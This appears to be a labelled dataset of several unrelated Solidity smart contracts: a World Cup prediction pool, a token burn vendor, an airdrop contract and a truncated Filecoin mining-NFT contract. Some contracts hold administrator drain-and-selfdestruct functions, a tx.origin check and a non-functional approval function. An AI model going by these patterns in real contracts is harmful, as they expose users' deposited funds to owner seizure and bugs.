worldCupGameID["1B-2A"] = 51; // 1B vs 2A
worldCupGameID["1D-2C"] = 52; // 1D vs 2C
gameLocked[51] = 1530453600;
gameLocked[52] = 1530468000;
// Monday 2nd July, 2018
worldCupGameID["1E-2F"] = 53; // 1E vs 2F
worldCupGameID["1G-2H"] = 54; // 1G vs 2H
gameLocked[53] = 1530540000;
gameLocked[54] = 1530554400;
// Tuesday 3rd July, 2018
worldCupGameID["1F-2E"] = 55; // 1F vs 2E
worldCupGameID["1H-2G"] = 56; // 1H vs 2G
gameLocked[55] = 1530626400;
gameLocked[56] = 1530640800;
// Quarter Finals
// Friday 6th July, 2018
worldCupGameID["W49-W50"] = 57; // W49 vs W50
worldCupGameID["W53-W54"] = 58; // W53 vs W54
gameLocked[57] = 1530885600;
gameLocked[58] = 1530900000;
// Saturday 7th July, 2018
worldCupGameID["W55-W56"] = 59; // W55 vs W56
worldCupGameID["W51-W52"] = 60; // W51 vs W52
gameLocked[59] = 1530972000;
gameLocked[60] = 1530986400;
// Semi Finals
// Tuesday 10th July, 2018
worldCupGameID["W57-W58"] = 61; // W57 vs W58
gameLocked[61] = 1531245600;
// Wednesday 11th July, 2018
worldCupGameID["W59-W60"] = 62; // W59 vs W60
gameLocked[62] = 1531332000;
// Third Place Playoff
// Saturday 14th July, 2018
worldCupGameID["L61-L62"] = 63; // L61 vs L62
gameLocked[63] = 1531576800;
// Grand Final
// Sunday 15th July, 2018
worldCupGameID["W61-W62"] = 64; // W61 vs W62
gameLocked[64] = 1531666800;
// Set initial variables.
latestGameFinished = 0;
}
/* PUBLIC-FACING COMPETITION INTERACTIONS */
// Register to participate in the competition. Apart from gas costs from
// making predictions and updating your score if necessary, this is the
// only Ether you will need to spend throughout the tournament.
function register()
public
payable
{
address _customerAddress = msg.sender;
require( !playerRegistered[_customerAddress]
&& tx.origin == _customerAddress);
// Receive the entry fee tokens.
require(BTCTKN.transferFrom(_customerAddress, address(this), entryFee));
registeredPlayers = SafeMath.addint256(registeredPlayers, 1);
playerRegistered[_customerAddress] = true;
playerGamesScored[_customerAddress] = 0;
playerList.push(_customerAddress);
require(playerRegistered[_customerAddress]);
prizePool = prizePool.add(ninetyPercent);
givethPool = givethPool.add(fivePercent);
adminPool = adminPool.add(fivePercent);
emit Registration(_customerAddress);
}
// Make a prediction for a game. An example would be makePrediction(1, "DRAW")
// if you anticipate a draw in the game between Russia and Saudi Arabia,
// or makePrediction(2, "UY") if you expect Uruguay to beat Egypt.
// The "DRAW" option becomes invalid after the group stage games have been played.
function makePrediction(int8 _gameID, string _prediction)
public {
address _customerAddress = msg.sender;
uint predictionTime = now;
require(playerRegistered[_customerAddress]
&& !gameFinished[_gameID]
&& predictionTime < gameLocked[_gameID]);
// No draws allowed after the qualification stage.
if (_gameID > 48 && equalStrings(_prediction, "DRAW")) {
revert();
} else {
playerPredictions[_customerAddress][_gameID] = _prediction;
playerMadePrediction[_customerAddress][_gameID] = true;
emit PlayerLoggedPrediction(_customerAddress, _gameID, _prediction);
}
}
// What is the current score of a given tournament participant?
function showPlayerScores(address _participant)
view
public
returns (int8[64])
{
return playerPointArray[_participant];
}
function seekApproval()
public
returns (bool)
{
BTCTKN.approve(address(this), entryFee);
}
// What was the last game ID that has had an official score registered for it?
function gameResultsLogged()
view
public
returns (int)
{
return latestGameFinished;
}
// Sum up the individual scores throughout the tournament and produce a final result.
function calculateScore(address _participant)
view
public
returns (int16)
{
int16 finalScore = 0;
for (int8 i = 0; i < latestGameFinished; i++) {
uint j = uint(i);
int16 gameScore = playerPointArray[_participant][j];
finalScore = SafeMath.addint16(finalScore, gameScore);
}
return finalScore;
}
// How many people are taking part in the tournament?
function countParticipants()
public
view
returns (int)
{
return registeredPlayers;
}
// Keeping this open for anyone to update anyone else so that at the end of
// the tournament we can force a score update for everyone using a script.
function updateScore(address _participant)
public
{
int8 lastPlayed = latestGameFinished;
require(lastPlayed > 0);
// Most recent game scored for this participant.
int8 lastScored = playerGamesScored[_participant];
// Most recent game played in the tournament (sets bounds for scoring iteration).
mapping (int8 => bool) madePrediction = playerMadePrediction[_participant];
mapping (int8 => string) playerGuesses = playerPredictions[_participant];
for (int8 i = lastScored; i < lastPlayed; i++) {
uint j = uint(i);
uint k = j.add(1);
uint streak = playerStreak[_participant];
emit StartScoring(_participant, k);
if (!madePrediction[int8(k)]) {
playerPointArray[_participant][j] = 0;
playerStreak[_participant] = 0;
emit DidNotPredict(_participant, k);
} else {
string storage playerResult = playerGuesses[int8(k)];
string storage actualResult = gameResult[int8(k)];
bool correctGuess = equalStrings(playerResult, actualResult);
emit Comparison(_participant, k, playerResult, actualResult, correctGuess);
if (!correctGuess) {
// The guess was wrong.
playerPointArray[_participant][j] = 0;
playerStreak[_participant] = 0;
} else {
// The guess was right.
streak = streak.add(1);
playerStreak[_participant] = streak;
if (streak >= 5) {
// On a long streak - four points.
playerPointArray[_participant][j] = 4;
} else {
if (streak >= 3) {
// On a short streak - two points.
playerPointArray[_participant][j] = 2;
}
// Not yet at a streak - standard one point.
else { playerPointArray[_participant][j] = 1; }
}
}
}
}
playerGamesScored[_participant] = lastPlayed;
}
// Invoke this function to get *everyone* up to date score-wise.
// This is probably best used at the end of the tournament, to ensure
// that prizes are awarded to the correct addresses.
// Note: this is going to be VERY gas-intensive. Use it if you're desperate
// to see how you square up against everyone else if they're slow to
// update their own scores. Alternatively, if there's just one or two
// stragglers, you can just call updateScore for them alone.
function updateAllScores()
public
{
uint allPlayers = playerList.length;
for (uint i = 0; i < allPlayers; i++) {
address _toScore = playerList[i];
emit StartAutoScoring(_toScore);
updateScore(_toScore);
}
}
// Which game ID has a player last computed their score up to
// using the updateScore function?
function playerLastScoredGame(address _player)
public
view
returns (int8)
{
return playerGamesScored[_player];
}
// Is a player registered?
function playerIsRegistered(address _player)
public
view
returns (bool)
{
return playerRegistered[_player];
}
// What was the official result of a game?
function correctResult(int8 _gameID)
public
view
returns (string)
{
return gameResult[_gameID];
}
// What was the caller's prediction for a given game?
function playerGuess(int8 _gameID)
public
view
returns (string)
{
return playerPredictions[msg.sender][_gameID];
}
// Lets us calculate what a participants score would be if they ran updateScore.
// Does NOT perform any state update.
function viewScore(address _participant)
public
view
returns (uint)
{
int8 lastPlayed = latestGameFinished;
// Most recent game played in the tournament (sets bounds for scoring iteration).
mapping (int8 => bool) madePrediction = playerMadePrediction[_participant];
mapping (int8 => string) playerGuesses = playerPredictions[_participant];
uint internalResult = 0;
uint internalStreak = 0;
for (int8 i = 0; i < lastPlayed; i++) {
uint j = uint(i);
uint k = j.add(1);
uint streak = internalStreak;
if (!madePrediction[int8(k)]) {
internalStreak = 0;
} else {
string storage playerResult = playerGuesses[int8(k)];
string storage actualResult = gameResult[int8(k)];
bool correctGuess = equalStrings(playerResult, actualResult);
if (!correctGuess) {
internalStreak = 0;
} else {
// The guess was right.
internalStreak++;
streak++;
if (streak >= 5) {
// On a long streak - four points.
internalResult += 4;
} else {
if (streak >= 3) {
// On a short streak - two points.
internalResult += 2;
}
// Not yet at a streak - standard one point.
else { internalResult += 1; }
}
}
}
}
return internalResult;
}
/* ADMINISTRATOR FUNCTIONS FOR COMPETITION MAINTENANCE */
modifier isAdministrator() {
address _sender = msg.sender;
if (_sender == administrator) {
_;
} else {
revert();
}
}
function _btcToken(address _tokenContract) private pure returns (bool) {
return _tokenContract == BTCTKNADDR; // Returns "true" if this is the 0xBTC Token Contract
}
// As new fixtures become known through progression or elimination, they're added here.
function addNewGame(string _opponents, int8 _gameID)
isAdministrator
public {
worldCupGameID[_opponents] = _gameID;
}
// When the result of a game is known, enter the result.
function logResult(int8 _gameID, string _winner)
isAdministrator
public {
require((int8(0) < _gameID) && (_gameID <= 64)
&& _gameID == latestGameFinished + 1);
// No draws allowed after the qualification stage.
if (_gameID > 48 && equalStrings(_winner, "DRAW")) {
revert();
} else {
require(!gameFinished[_gameID]);
gameFinished [_gameID] = true;
gameResult [_gameID] = _winner;
latestGameFinished = _gameID;
assert(gameFinished[_gameID]);
}
}
// Concludes the tournament and issues the prizes, then self-destructs.
function concludeTournament(address _first // 40% Ether.
, address _second // 30% Ether.
, address _third // 20% Ether.
, address _fourth) // 10% Ether.
isAdministrator
public
{
// Don't hand out prizes until the final's... actually been played.
require(gameFinished[64]
&& playerIsRegistered(_first)
&& playerIsRegistered(_second)
&& playerIsRegistered(_third)
&& playerIsRegistered(_fourth));
// Determine 10% of the prize pool to distribute to winners.
uint tenth = prizePool.div(10);
// Determine the prize allocations.
uint firstPrize = tenth.mul(4);
uint secondPrize = tenth.mul(3);
uint thirdPrize = tenth.mul(2);
// Send the first three prizes.
BTCTKN.approve(_first, firstPrize);
BTCTKN.transferFrom(address(this), _first, firstPrize);
BTCTKN.approve(_second, secondPrize);
BTCTKN.transferFrom(address(this), _second, secondPrize);
BTCTKN.approve(_third, thirdPrize);
BTCTKN.transferFrom(address(this), _third, thirdPrize);
// Send the tokens raised to Giveth.
BTCTKN.approve(givethAddress, givethPool);
BTCTKN.transferFrom(address(this), givethAddress, givethPool);
// Send the tokens assigned to developer.
BTCTKN.approve(administrator, adminPool);
BTCTKN.transferFrom(address(this), administrator, adminPool);
// Since there might be rounding errors, fourth place gets everything else.
uint fourthPrize = ((prizePool.sub(firstPrize)).sub(secondPrize)).sub(thirdPrize);
BTCTKN.approve(_fourth, fourthPrize);
BTCTKN.transferFrom(address(this), _fourth, fourthPrize);
selfdestruct(administrator);
}
// The emergency escape hatch in case something has gone wrong.
// Given the small amount of individual coins per participant, it would
// be far more expensive in gas than what's sent back if required.
// You're going to have to take it on trust that I (the dev, duh), will
// sort out refunds. Let's pray to Suarez it doesn't need pulling.
function pullRipCord()
isAdministrator
public
{
uint totalPool = (prizePool.add(givethPool)).add(adminPool);
BTCTKN.approve(administrator, totalPool);
BTCTKN.transferFrom(address(this), administrator, totalPool);
selfdestruct(administrator);
}
/* INTERNAL FUNCTIONS */
// Gateway check - did you send exactly the right amount?
function _isCorrectBuyin(uint _buyin)
private
pure
returns (bool) {
return _buyin == entryFee;
}
// Internal comparison between strings, returning 0 if equal, 1 otherwise.
function compare(string _a, string _b)
private
pure
returns (int)
{
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
/// Compares two strings and returns true if and only if they are equal.
function equalStrings(string _a, string _b) pure private returns (bool) {
return compare(_a, _b) == 0;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function addint16(int16 a, int16 b) internal pure returns (int16) {
int16 c = a + b;
assert(c >= a);
return c;
}
function addint256(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
assert(c >= a);
return c;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-07-07
*/
pragma solidity ^0.8.4;
//SPDX-License-Identifier: MIT
/*
_ _ _ _ ____ _
/ \ | | _(_) |_ __ _| _ \ ___ ___ ___ _ _ ___ __| | ___ __ _
/ _ \ | |/ / | __/ _` | |_) / _ \/ __|/ __| | | |/ _ \ / _` |/ _ \ / _` |
/ ___ \| <| | || (_| | _ < __/\__ \ (__| |_| | __/| (_| | (_) | (_| |
/_/ \_\_|\_\_|\__\__,_|_| \_\___||___/\___|\__,_|\___(_)__,_|\___/ \__, |
|___/
🐕 AkitaRescue.dog
🏗 scaffold-eth
🖨 https://github.com/austintgriffith/scaffold-eth/tree/akita-rescue-dog
⚠️ Warning: not formally audited!
👨🏻🔬 @austingriffith
*/
interface TOKEN {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract BurnVendor {
TOKEN public akitaToken;
uint256 constant public tokensPerEth = 2662260000;
uint256 constant public burnMultiplier = 13;
address payable constant public gitcoinAddress = payable(0xde21F729137C5Af1b01d73aF1dC21eFfa2B8a0d6);
address constant public burnAddress = 0xDead000000000000000000000000000000000d06;
constructor(address akitaAddress) {
akitaToken = TOKEN(akitaAddress);
}
receive() external payable {
buy();
}
event Buy(address who, uint256 value, uint256 amount, uint256 burn);
function buy() public payable {
uint256 amountOfTokensToBuy = msg.value * tokensPerEth;
uint256 amountOfTokensToBurn = amountOfTokensToBuy * burnMultiplier;
akitaToken.transferFrom(gitcoinAddress, burnAddress, amountOfTokensToBurn);
akitaToken.transferFrom(gitcoinAddress, msg.sender, amountOfTokensToBuy);
(bool sent, ) = gitcoinAddress.call{value: msg.value}("");
require(sent, "Failed to send ETH to Gitcoin Multisig");
emit Buy(msg.sender, msg.value, amountOfTokensToBuy, amountOfTokensToBurn);
}
} | True | [
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pragma solidity ^0.4.21;
/**
* Changes by https://www.docademic.com/
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Destroyable is Ownable{
/**
* @notice Allows to destroy the contract and return the tokens to the owner.
*/
function destroy() public onlyOwner{
selfdestruct(owner);
}
}
interface Token {
function transfer(address _to, uint256 _value) external returns (bool);
function balanceOf(address who) view external returns (uint256);
}
contract Airdrop is Ownable, Destroyable {
using SafeMath for uint256;
/*
* Structures
*/
// Holder of tokens
struct Beneficiary {
uint256 balance;
uint256 airdrop;
bool isBeneficiary;
}
/*
* State
*/
bool public filled;
bool public airdropped;
uint256 public airdropLimit;
uint256 public currentCirculating;
uint256 public burn;
address public hell;
address[] public addresses;
Token public token;
mapping(address => Beneficiary) public beneficiaries;
/*
* Events
*/
event NewBeneficiary(address _beneficiary);
event SnapshotTaken(uint256 _totalBalance, uint256 _totalAirdrop, uint256 _toBurn,uint256 _numberOfBeneficiaries, uint256 _numberOfAirdrops);
event Airdropped(uint256 _totalAirdrop, uint256 _numberOfAirdrops);
event TokenChanged(address _prevToken, address _token);
event AirdropLimitChanged(uint256 _prevLimit, uint256 _airdropLimit);
event CurrentCirculatingChanged(uint256 _prevCirculating, uint256 _currentCirculating);
event Cleaned(uint256 _numberOfBeneficiaries);
event Burned(uint256 _tokensBurned);
/*
* Modifiers
*/
modifier isNotBeneficiary(address _beneficiary) {
require(!beneficiaries[_beneficiary].isBeneficiary);
_;
}
modifier isBeneficiary(address _beneficiary) {
require(beneficiaries[_beneficiary].isBeneficiary);
_;
}
modifier isFilled() {
require(filled);
_;
}
modifier isNotFilled() {
require(!filled);
_;
}
modifier wasAirdropped() {
require(airdropped);
_;
}
modifier wasNotAirdropped() {
require(!airdropped);
_;
}
/*
* Behavior
*/
/**
* @dev Constructor.
* @param _token The token address
* @param _airdropLimit The token limit by airdrop in wei
* @param _currentCirculating The current circulating tokens in wei
* @param _hell The address where tokens wil be burned
*/
function Airdrop(address _token, uint256 _airdropLimit, uint256 _currentCirculating, address _hell) public{
require(_token != address(0));
token = Token(_token);
airdropLimit = _airdropLimit;
currentCirculating = _currentCirculating;
hell = _hell;
}
/**
* @dev Allows the sender to register itself as a beneficiary for the airdrop.
*/
function() payable public {
addBeneficiary(msg.sender);
}
/**
* @dev Allows the sender to register itself as a beneficiary for the airdrop.
*/
function register() public {
addBeneficiary(msg.sender);
}
/**
* @dev Allows the owner to register a beneficiary for the airdrop.
* @param _beneficiary The address of the beneficiary
*/
function registerBeneficiary(address _beneficiary) public
onlyOwner {
addBeneficiary(_beneficiary);
}
/**
* @dev Allows the owner to register beneficiaries for the airdrop.
* @param _beneficiaries The array of addresses
*/
function registerBeneficiaries(address[] _beneficiaries) public
onlyOwner {
for (uint i = 0; i < _beneficiaries.length; i++) {
addBeneficiary(_beneficiaries[i]);
}
}
/**
* @dev Add a beneficiary for the airdrop.
* @param _beneficiary The address of the beneficiary
*/
function addBeneficiary(address _beneficiary) private
isNotBeneficiary(_beneficiary) {
require(_beneficiary != address(0));
beneficiaries[_beneficiary] = Beneficiary({
balance : 0,
airdrop : 0,
isBeneficiary : true
});
addresses.push(_beneficiary);
emit NewBeneficiary(_beneficiary);
}
/**
* @dev Take the balance of all the beneficiaries.
*/
function takeSnapshot() public
onlyOwner
isNotFilled
wasNotAirdropped {
uint256 totalBalance = 0;
uint256 totalAirdrop = 0;
uint256 airdrops = 0;
for (uint i = 0; i < addresses.length; i++) {
Beneficiary storage beneficiary = beneficiaries[addresses[i]];
beneficiary.balance = token.balanceOf(addresses[i]);
totalBalance = totalBalance.add(beneficiary.balance);
if (beneficiary.balance > 0) {
beneficiary.airdrop = (beneficiary.balance.mul(airdropLimit).div(currentCirculating));
totalAirdrop = totalAirdrop.add(beneficiary.airdrop);
airdrops = airdrops.add(1);
}
}
filled = true;
burn = airdropLimit.sub(totalAirdrop);
emit SnapshotTaken(totalBalance, totalAirdrop, burn, addresses.length, airdrops);
}
/**
* @dev Start the airdrop.
*/
function airdropAndBurn() public
onlyOwner
isFilled
wasNotAirdropped {
uint256 airdrops = 0;
uint256 totalAirdrop = 0;
for (uint256 i = 0; i < addresses.length; i++)
{
Beneficiary storage beneficiary = beneficiaries[addresses[i]];
if (beneficiary.airdrop > 0) {
require(token.transfer(addresses[i], beneficiary.airdrop));
totalAirdrop = totalAirdrop.add(beneficiary.airdrop);
airdrops = airdrops.add(1);
}
}
airdropped = true;
currentCirculating = currentCirculating.add(totalAirdrop);
emit Airdropped(totalAirdrop, airdrops);
emit Burned(burn);
token.transfer(hell, burn);
}
/**
* @dev Reset all the balances to 0 and the state to false.
*/
function clean() public
onlyOwner {
for (uint256 i = 0; i < addresses.length; i++)
{
Beneficiary storage beneficiary = beneficiaries[addresses[i]];
beneficiary.balance = 0;
beneficiary.airdrop = 0;
}
filled = false;
airdropped = false;
burn = 0;
emit Cleaned(addresses.length);
}
/**
* @dev Allows the owner to change the token address.
* @param _token New token address.
*/
function changeToken(address _token) public
onlyOwner {
emit TokenChanged(address(token), _token);
token = Token(_token);
}
/**
* @dev Allows the owner to change the token limit by airdrop.
* @param _airdropLimit The token limit by airdrop in wei.
*/
function changeAirdropLimit(uint256 _airdropLimit) public
onlyOwner {
emit AirdropLimitChanged(airdropLimit, _airdropLimit);
airdropLimit = _airdropLimit;
}
/**
* @dev Allows the owner to change the token limit by airdrop.
* @param _currentCirculating The current circulating tokens in wei.
*/
function changeCurrentCirculating(uint256 _currentCirculating) public
onlyOwner {
emit CurrentCirculatingChanged(currentCirculating, _currentCirculating);
currentCirculating = _currentCirculating;
}
/**
* @dev Allows the owner to flush the eth.
*/
function flushEth() public onlyOwner {
owner.transfer(address(this).balance);
}
/**
* @dev Allows the owner to flush the tokens of the contract.
*/
function flushTokens() public onlyOwner {
token.transfer(owner, token.balanceOf(address(this)));
}
/**
* @dev Allows the owner to destroy the contract and return the tokens to the owner.
*/
function destroy() public onlyOwner {
token.transfer(owner, token.balanceOf(address(this)));
selfdestruct(owner);
}
/**
* @dev Get the token balance of the contract.
* @return _balance The token balance of this contract
*/
function tokenBalance() view public returns (uint256 _balance) {
return token.balanceOf(address(this));
}
/**
* @dev Get the token balance of the beneficiary.
* @param _beneficiary The address of the beneficiary
* @return _balance The token balance of the beneficiary
*/
function getBalanceAtSnapshot(address _beneficiary) view public returns (uint256 _balance) {
return beneficiaries[_beneficiary].balance / 1 ether;
}
/**
* @dev Get the airdrop reward of the beneficiary.
* @param _beneficiary The address of the beneficiary
* @return _airdrop The token balance of the beneficiary
*/
function getAirdropAtSnapshot(address _beneficiary) view public returns (uint256 _airdrop) {
return beneficiaries[_beneficiary].airdrop / 1 ether;
}
/**
* @dev Allows a beneficiary to verify if he is already registered.
* @param _beneficiary The address of the beneficiary
* @return _isBeneficiary The boolean value
*/
function amIBeneficiary(address _beneficiary) view public returns (bool _isBeneficiary) {
return beneficiaries[_beneficiary].isBeneficiary;
}
/**
* @dev Get the number of beneficiaries.
* @return _length The number of beneficiaries
*/
function beneficiariesLength() view public returns (uint256 _length) {
return addresses.length;
}
} | True | [
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102
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/**
*Submitted for verification at Etherscan.io on 2021-08-26
*/
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IMinerManage {
function setOracleAddress(address _oracleAddress) external;
function minerAdjustedStoragePowerInTiB(string memory minerId) external view returns(uint256);
function whiteList(address walletAddress) external returns(bool);
function minerInfoMap(address walletAddress) external returns(string memory);
function getMinerList() external view returns(string[] memory);
function getMinerId(address walletAddress) external view returns(string memory);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IFilChainStatOracle {
function sectorInitialPledge() external view returns(uint256);
function minerAdjustedPower(string memory _minerId) external view returns(uint256);
function minerMiningEfficiency(string memory _minerId) external view returns(uint256);
function minerSectorInitialPledge(string memory _minerId) external view returns(uint256);
function minerTotalAdjustedPower() external view returns(uint256);
function avgMiningEfficiency() external view returns(uint256);
function latest24hBlockReward() external view returns(uint256);
function rewardAttenuationFactor() external view returns(uint256);
function networkStoragePower() external view returns(uint256);
function dailyStoragePowerIncrease() external view returns(uint256);
function removeMinerAdjustedPower(string memory _minerId) external;
}
interface IMiningNFTMintingLimitationData {
function totalMintLimitationInTiB() external view returns(uint256);
function minerMintAmountLimitation(string memory _minerId) external view returns(uint256);
function setTotalMintLimitationInTiB(uint _totalMintLimitationInTiB) external;
function setMinerMintAmountLimitationBatch(string[] memory minerIds, uint[] memory limitations) external;
function setMinerMintAmountLimitation(string memory minerId, uint limitation) external;
function increaseTotalLimitation(uint256 _limitationDelta) external;
function decreaseTotalLimitation(uint256 _limitationDelta) external;
function increaseMinerLimitation(string memory _minerId, uint256 _minerLimitationDelta) external;
